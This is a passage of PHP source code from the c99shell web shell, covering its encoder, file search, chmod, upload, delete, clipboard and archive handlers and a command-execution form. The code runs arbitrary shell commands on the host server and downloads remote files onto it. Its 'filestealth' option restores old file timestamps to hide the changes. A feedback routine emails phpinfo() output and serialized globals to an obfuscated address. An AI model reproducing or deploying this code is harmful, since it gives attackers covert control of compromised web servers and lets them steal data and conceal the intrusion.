  1485.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  1486.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  1487.   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  1488.  }
  1489.  else {$act = $dspact = "ls";}
  1490. }
  1491. if ($act == "encoder")
  1492. {
  1493.  echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" method=\"POST\"><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
  1494.  foreach(array("md5","crypt","sha1","crc32") as $v)
  1495.  {
  1496.   echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
  1497.  }
  1498.  echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
  1499. <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urldecode($encoder_input)."\" readonly>
  1500. <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
  1501.  echo "<center>base64_decode - ";
  1502.  if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
  1503.  else
  1504.  {
  1505.   $debase64 = base64_decode($encoder_input);
  1506.   $debase64 = str_replace("\0","[0]",$debase64);
  1507.   $a = explode("\r\n",$debase64);
  1508.   $rows = count($a);
  1509.   $debase64 = htmlspecialchars($debase64);
  1510.   if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
  1511.   else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
  1512.   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
  1513.  }
  1514.  echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  1515.  $c = strlen($encoder_input);
  1516.  for($i=0;$i<$c;$i++)
  1517.  {
  1518.   $hex = dechex(ord($encoder_input[$i]));
  1519.   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  1520.   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  1521.  }
  1522.  echo "\" readonly><br></center></form>";
  1523. }
  1524. if ($act == "fsbuff")
  1525. {
  1526.  $arr_copy = $sess_data["copy"];
  1527.  $arr_cut = $sess_data["cut"];
  1528.  $arr = array_merge($arr_copy,$arr_cut);
  1529.  if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
  1530.  else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";}
  1531. }
  1532. if ($act == "selfremove")
  1533. {
  1534.  if (($submit == $rndcode) and ($submit != ""))
  1535.  {
  1536.   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; exit; }
  1537.   else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  1538.  }
  1539.  else
  1540.  {
  1541.   if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  1542.   $rnd = rand(0,9).rand(0,9).rand(0,9);
  1543.   echo "<form method=\"POST\"><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=\"hidden\" name=\"rndcode\" value=\"".$rnd."\"><input type=\"text\" name=\"submit\">&nbsp;<input type=\"submit\" value=\"YES\"></form>";
  1544.  }
  1545. }
  1546. if ($act == "feedback")
  1547. {
  1548.  $suppmail = base64_decode("Yzk5c2hlbGxAaW5ib3gucnU=");
  1549.  if (!empty($submit))
  1550.  {
  1551.   $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  1552.   $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  1553.   if (!empty($fdbk_ref))
  1554.   {
  1555.    $tmp = @ob_get_contents();
  1556.    ob_clean();
  1557.    phpinfo();
  1558.    $phpinfo = base64_encode(ob_get_contents());
  1559.    ob_clean();
  1560.    echo $tmp;
  1561.    $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  1562.   }
  1563.   mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
  1564.   echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  1565.  }
  1566.  else {echo "<form method=\"POST\"><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
  1567. }
  1568. if ($act == "search")
  1569. {
  1570.  echo "<b>Search in file-system:</b><br>";
  1571.  if (empty($search_in)) {$search_in = $d;}
  1572.  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  1573.  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  1574.  if (!empty($submit))
  1575.  {
  1576.   $found = array();
  1577.   $found_d = 0;
  1578.   $found_f = 0;
  1579.   $search_i_f = 0;
  1580.   $search_i_d = 0;
  1581.   $a = array
  1582.   (
  1583.    "name"=>$search_name, "name_regexp"=>$search_name_regexp,
  1584.    "text"=>$search_text, "text_regexp"=>$search_text_regxp,
  1585.    "text_wwo"=>$search_text_wwo,
  1586.    "text_cs"=>$search_text_cs,
  1587.    "text_not"=>$search_text_not
  1588.   );
  1589.   $searchtime = getmicrotime();
  1590.   $in = array_unique(explode(";",$search_in));
  1591.   foreach($in as $v) {c99fsearch($v);}
  1592.   $searchtime = round(getmicrotime()-$searchtime,4);
  1593.   if (count($found) == 0) {echo "<b>No files found!</b>";}
  1594.   else
  1595.   {
  1596.    $ls_arr = $found;
  1597.    $disp_fullpath = true;
  1598.    $act = "ls";
  1599.   }
  1600.  }
  1601.  echo "<form method=\"POST\">
  1602. <input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><input type=\"hidden\" name=\"act\" value=\"".$dspact."\">
  1603. <b>Search for (file/directory name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".gchds($search_name_regexp,1," checked")."> - regexp
  1604. <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
  1605. <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
  1606. <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".gchds($search_text_regexp,1," checked")."> - regexp
  1607. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".gchds($search_text_wwo,1," checked")."> - <u>w</u>hole words only
  1608. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".gchds($search_text_cs,1," checked")."> - cas<u>e</u> sensitive
  1609. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".gchds($search_text_not,1," checked")."> - find files <u>NOT</u> containing the text
  1610. <br><br><input type=\"submit\" name=\"submit\" value=\"Search\"></form>";
  1611.  if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." directories, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
  1612. }
  1613. if ($act == "chmod")
  1614. {
  1615.  $mode = fileperms($d.$f);
  1616.  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  1617.  else
  1618.  {
  1619.   $form = true;
  1620.   if ($chmod_submit)
  1621.   {
  1622.    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  1623.    if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";}
  1624.    else {$err = "Can't chmod to ".$octet.".";}
  1625.   }
  1626.   if ($form)
  1627.   {
  1628.    $perms = parse_perms($mode);
  1629.    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".htmlspecialchars($surl)."\" method=\"POST\"><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  1630.   }
  1631.  }
  1632. }
  1633. if ($act == "upload")
  1634. {
  1635.  $uploadmess = "";
  1636.  $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  1637.  if (empty($uploadpath)) {$uploadpath = $d;}
  1638.  elseif (substr($uploadpath,-1,1) != "/") {$uploadpath .= "/";}
  1639.  if (!empty($submit))
  1640.  {
  1641.   global $HTTP_POST_FILES;
  1642.   $uploadfile = $HTTP_POST_FILES["uploadfile"];
  1643.   if (!empty($uploadfile["tmp_name"]))
  1644.   {
  1645.    if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  1646.    else {$destin = $userfilename;}
  1647.    if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
  1648.   }
  1649.   elseif (!empty($uploadurl))
  1650.   {
  1651.    if (!empty($uploadfilename)) {$destin = $uploadfilename;}
  1652.    else
  1653.    {
  1654.     $destin = explode("/",$destin);
  1655.     $destin = $destin[count($destin)-1];
  1656.     if (empty($destin))
  1657.     {
  1658.      $i = 0;
  1659.      $b = "";
  1660.      while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
  1661.    }
  1662.    if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
  1663.    else
  1664.    {
  1665.     $st = getmicrotime();
  1666.     $content = @file_get_contents($uploadurl);
  1667.     $dt = round(getmicrotime()-$st,4);
  1668.     if (!$content) {$uploadmess .=  "Can't download file!<br>";}
  1669.     else
  1670.     {
  1671.      if ($filestealth) {$stat = stat($uploadpath.$destin);}
  1672.      $fp = fopen($uploadpath.$destin,"w");
  1673.      if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
  1674.      else
  1675.      {
  1676.       fwrite($fp,$content,strlen($content));
  1677.       fclose($fp);
  1678.       if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
  1679.      }
  1680.     }
  1681.    }
  1682.   }
  1683.  }
  1684.  if ($miniform)
  1685.  {
  1686.   echo "<b>".$uploadmess."</b>";
  1687.   $act = "ls";
  1688.  }
  1689.  else
  1690.  {
  1691.   echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=\"POST\">
  1692. Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
  1693. Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
  1694. Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
  1695. File-name (auto-fill): <input name=uploadfilename size=25><br><br>
  1696. <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
  1697. <input type=\"submit\" name=\"submit\" value=\"Upload\">
  1698. </form>";
  1699.  }
  1700. }
  1701. if ($act == "delete")
  1702. {
  1703.  $delerr = "";
  1704.  foreach ($actbox as $v)
  1705.  {
  1706.   $result = false;
  1707.   $result = fs_rmobj($v);
  1708.   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  1709.  }
  1710.  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  1711.  $act = "ls";
  1712. }
  1713. if (!$usefsbuff)
  1714. {
  1715.  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
  1716. }
  1717. else
  1718. {
  1719.  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
  1720.  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
  1721.  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
  1722.  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
  1723.  elseif ($actpastebuff)
  1724.  {
  1725.   $psterr = "";
  1726.   foreach($sess_data["copy"] as $k=>$v)
  1727.   {
  1728.    $to = $d.basename($v);
  1729.    if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1730.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1731.   }
  1732.   foreach($sess_data["cut"] as $k=>$v)
  1733.   {
  1734.    $to = $d.basename($v);
  1735.    if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1736.    unset($sess_data["cut"][$k]);
  1737.   }
  1738.   c99_sess_put($sess_data);
  1739.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1740.   $act = "ls";
  1741.  }
  1742.  elseif ($actarcbuff)
  1743.  {
  1744.   $arcerr = "";
  1745.   if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  1746.   else {$ext = ".tar.gz";}
  1747.   if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  1748.   $cmdline .= " ".$actarcbuff_path;
  1749.   $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  1750.   foreach($objects as $v)
  1751.   {
  1752.    $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  1753.    if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  1754.    if (is_dir($v))
  1755.    {
  1756.     if (substr($v,-1,1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  1757.     $v .= "*";
  1758.    }
  1759.    $cmdline .= " ".$v;
  1760.   }
  1761.   $tmp = realpath(".");
  1762.   chdir($d);
  1763.   $ret = myshellexec($cmdline);
  1764.   chdir($tmp);
  1765.   if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  1766.   $ret = str_replace("\r\n","\n",$ret);
  1767.   $ret = explode("\n",$ret);
  1768.   if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  1769.   foreach($sess_data["cut"] as $k=>$v)
  1770.   {
  1771.    if (in_array($v,$ret)) {fs_rmobj($v);}
  1772.    unset($sess_data["cut"][$k]);
  1773.   }
  1774.   c99_sess_put($sess_data);
  1775.   if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  1776.   $act = "ls";
  1777.  }
  1778.  elseif ($actpastebuff)
  1779.  {
  1780.   $psterr = "";
  1781.   foreach($sess_data["copy"] as $k=>$v)
  1782.   {
  1783.    $to = $d.basename($v);
  1784.    if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1785.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1786.   }
  1787.   foreach($sess_data["cut"] as $k=>$v)
  1788.   {
  1789.    $to = $d.basename($v);
  1790.    if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1791.    unset($sess_data["cut"][$k]);
  1792.   }
  1793.   c99_sess_put($sess_data);
  1794.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1795.   $act = "ls";
  1796.  }
  1797. }
  1798. if ($act == "cmd")
  1799. {
  1800. if (trim($cmd) == "ps -aux") {$act = "ps_aux";}
  1801. else
  1802. {
  1803.  @chdir($chdir);
  1804.  if (!empty($submit))
  1805.  {
  1806.   echo "<b>Result of execution this command</b>:<br>";
  1807.   $olddir = realpath(".");
  1808.   @chdir($d);
  1809.   $ret = myshellexec($cmd);
  1810.   $ret = convert_cyr_string($ret,"d","w");
  1811.   if ($cmd_txt)
  1812.   {
  1813.    $rows = count(explode("\r\n",$ret))+1;
  1814.    if ($rows < 10) {$rows = 10;}
  1815.    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  1816.   }
  1817.   else {echo $ret."<br>";}
  1818.   @chdir($olddir);
  1819.  }
  1820.  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}}
  1821.  echo "<form action=\"".$surl."act=cmd\" method=\"POST\"><textarea name=\"cmd\" cols=\"122\" rows=\"10\">".htmlspecialchars($cmd)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
  1822. }
  1823. }
  1824. if ($act == "ls")
  1825. {
  1826.  if (count($ls_arr) > 0) {$list = $ls_arr;}
  1827.  else
  1828.  {
  1829.   $list = array();
  1830.   if ($h = @opendir($d))
  1831.   {
  1832.    while (($o = readdir($h)) !== false) {$list[] = $d.$o;}
  1833.    closedir($h);
  1834.   }
  1835.  }
  1836.  if (count($list) == 0) {echo "<center><b>Can't open directory (".htmlspecialchars($d).")!</b></center>";}
  1837.  else
  1838.  {
  1839.   //Building array
  1840.   $objects = array();
  1841.   $vd = "f"; //Viewing mode
  1842.   if ($vd == "f")
  1843.   {
  1844.    $objects["head"] = array();
  1845.    $objects["dirs"] = array();
  1846.    $objects["links"] = array();
  1847.    $objects["files"] = array();
  1848.    foreach ($list as $v)
  1849.    {
  1850.     $o = basename($v);
  1851.     $row = array();
  1852.     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
  1853.     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
  1854.     elseif (is_dir($v))
  1855.     {
  1856.      if (is_link($v)) {$type = "LINK";}
  1857.      else {$type = "DIR";}
  1858.      $row[] = $v;
  1859.      $row[] = $type;
  1860.     }
  1861.     elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  1862.     $row[] = filemtime($v);
  1863.     if (!$win)
  1864.     {
  1865.      $ow = @posix_getpwuid(fileowner($v));
  1866.      $gr = @posix_getgrgid(filegroup($v));
  1867.      $row[] = $ow["name"]."/".$gr["name"];
  1868.      $row[] = fileowner($v)."/".filegroup($v);
  1869.     }
  1870.     $row[] = fileperms($v);
  1871.     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  1872.     elseif (is_link($v)) {$objects["links"][] = $row;}
  1873.     elseif (is_dir($v)) {$objects["dirs"][] = $row;}
  1874.     elseif (is_file($v)) {$objects["files"][] = $row;}
  1875.    }
  1876.    $row = array();
  1877.    $row[] = "<b>Name</b>";
  1878.    $row[] = "<b>Size</b>";
  1879.    $row[] = "<b>Modify</b>";
  1880.    if (!$win)
  1881.   {$row[] = "<b>Owner/Group</b>";}
  1882.    $row[] = "<b>Perms</b>";
  1883.    $row[] = "<b>Action</b>";
  1884.    $k = $sort[0];
  1885.    if (!is_numeric($k)) {$k = $sort[0] = 0;}
  1886.    if ($sort[1] != "a") {$sort[1] = "d";}
  1887.    $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($sort[1] == "a"?"d":"a")."\">";
  1888.    $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($sort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  1889.    $row[$k] .= $y;
  1890.    for($i=0;$i<count($row)-1;$i++)
  1891.    {
  1892.     if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$sort[1]."\">".$row[$i]."</a>";}
  1893.    }
  1894.    $v = $sort[0];
  1895.    usort($objects["dirs"], "tabsort");
  1896.    usort($objects["links"], "tabsort");
  1897.    usort($objects["files"], "tabsort");
  1898.    if ($sort[1] == "d")
  1899.    {
  1900.     $objects["dirs"] = array_reverse($objects[dirs]);
  1901.     $objects["files"] = array_reverse($objects[files]);
  1902.    }
  1903.    $objects = array_merge($objects["head"],$objects["dirs"],$objects["links"],$objects["files"]);
  1904.    $tab = array();
  1905.    $tab["cols"] = array($row);
  1906.    $tab["head"] = array();
  1907.    $tab["dirs"] = array();
  1908.    $tab["links"] = array();
  1909.    $tab["files"] = array();
  1910.    foreach ($objects as $a)
  1911.    {
  1912.     $v = $a[0];
  1913.     $o = basename($v);
  1914.     $dir = dirname($v);
  1915.     if ($disp_fullpath) {$disppath = $v;}
  1916.     else {$disppath = $o;}
  1917.     $disppath = str2mini($disppath,60);
  1918.     if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  1919.     elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  1920.     foreach ($regxp_highlight as $r)
  1921.     {
  1922.      if (ereg($r[0],$o))
  1923.      {
  1924.       if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command"; exit;}
  1925.       else
  1926.       {
  1927.        $r[1] = round($r[1]);
  1928.        $isdir = is_dir($v);
  1929.        if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
  1930.        {
  1931.         if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  1932.         $disppath = $r[2].$disppath.$r[3];
  1933.         if ($r[4]) {break;}
  1934.        }
  1935.       }
  1936.      }
  1937.     }
  1938.     $uo = urlencode($o);
  1939.     $ud = urlencode($dir);
  1940.     $uv = urlencode($v);
  1941.     $row = array();
  1942.     if ($o == ".")
  1943.     {
  1944.      $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."\">".$o."</a>";
  1945.      $row[] = "LINK";
  1946.     }
  1947.     elseif ($o == "..")
  1948.     {
  1949.      $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  1950.      $row[] = "LINK";
  1951.     }
  1952.     elseif (is_dir($v))
  1953.     {
  1954.      if (is_link($v))
  1955.      {
  1956.       $disppath .= " => ".readlink($v);
  1957.       $type = "LINK";
  1958.       $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  1959.      }
  1960.      else
  1961.      {
  1962.       $type = "DIR";
  1963.       $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  1964.       }
  1965.      $row[] = $type;
  1966.     }
  1967.     elseif(is_file($v))
  1968.     {
  1969.      $ext = explode(".",$o);
  1970.      $c = count($ext)-1;
  1971.      $ext = $ext[$c];
  1972.      $ext = strtolower($ext);
  1973.      $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
  1974.      $row[] = view_size($a[1]);
  1975.     }
  1976.     $row[] = date("d.m.Y H:i:s",$a[2]);
  1977.     if (!$win) {$row[] = $a[3];}
  1978.     $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  1979.     if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";}
  1980.     else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" id=\"ls_dir[]\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";}
  1981.     if (($o == ".") or ($o == "..")) {$tab[head][] = $row;}
  1982.     elseif (is_link($v)) {$tab["links"][] = $row;}
  1983.     elseif (is_dir($v)) {$tab["dirs"][] = $row;}
  1984.     elseif (is_file($v)) {$tab["files"][] = $row;}
  1985.    }
  1986.   }
  1987.   //Compiling table
  1988.   $table = array_merge($tab["cols"],$tab["head"],$tab["dirs"],$tab["links"],$tab["files"]);
  1989.   echo "<center><b>Listing directory (".count($tab["files"])." files and ".(count($tab["dirs"])+count($tab["links"]))." directories):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#333333 border=0><form method=\"POST\">";
  1990.   foreach($table as $row)
  1991.   {
  1992.    echo "<tr>\r\n";
  1993.    foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
  1994.    echo "</tr>\r\n";
  1995.   }
